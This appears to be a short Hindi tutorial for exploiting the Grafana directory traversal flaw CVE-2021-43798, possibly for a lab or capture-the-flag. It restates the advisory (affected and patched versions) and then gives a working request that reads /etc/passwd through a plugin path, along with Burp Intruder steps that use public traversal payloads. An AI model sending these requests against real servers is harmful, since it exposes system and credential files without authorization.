
Grafana डायरेक्टरी ट्रैवर्सल (CVE-2021-43798) के लिए एक्सप्लॉइट, Burp Suite इंटीग्रेशन और पेलोड ऑटोमेशन के साथ, कमजोर इंस्टेंस पर स्थानीय फाइलों तक पहुंचने के लिए।
Grafana के संस्करण 8.0.0-beta1 से 8.3.0 (पैच किए गए संस्करणों को छोड़कर) डायरेक्टरी ट्रैवर्सल के प्रति संवेदनशील हैं, जिससे स्थानीय फ़ाइलों तक पहुँच संभव होती है।
Grafana निगरानी और अवलोकन के लिए एक ओपन-सोर्स प्लेटफ़ॉर्म है। Grafana के संस्करण 8.0.0-beta1 से 8.3.0 (पैच किए गए संस्करणों को छोड़कर) डायरेक्टरी ट्रैवर्सल के प्रति संवेदनशील हैं, जिससे स्थानीय फ़ाइलों तक पहुँच संभव होती है। संवेदनशील URL पथ है: <grafana_host_url>/public/plugins//, जहाँ किसी भी स्थापित प्लगइन का प्लगइन आईडी है। कभी भी Grafana Cloud संवेदनशील नहीं रहा है। उपयोगकर्ताओं को सलाह दी जाती है कि वे पैच किए गए संस्करणों 8.0.7, 8.1.8, 8.2.7, या 8.3.1 में अपग्रेड करें। GitHub Security Advisory में संवेदनशील URL पथों, शमन, और प्रकटीकरण समयरेखा के बारे में अधिक जानकारी है।
Burp Suite का उपयोग करना
GET को रिपीटर पर भेजें
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
फिर इंट्रूडर पर भेजें GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
ATTACK के लिए Sniper का उपयोग करना पेलोड github से कॉपी करें https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
पेलोड प्रोसेसिंग [{FILE}] को {flag.txt} से बदलें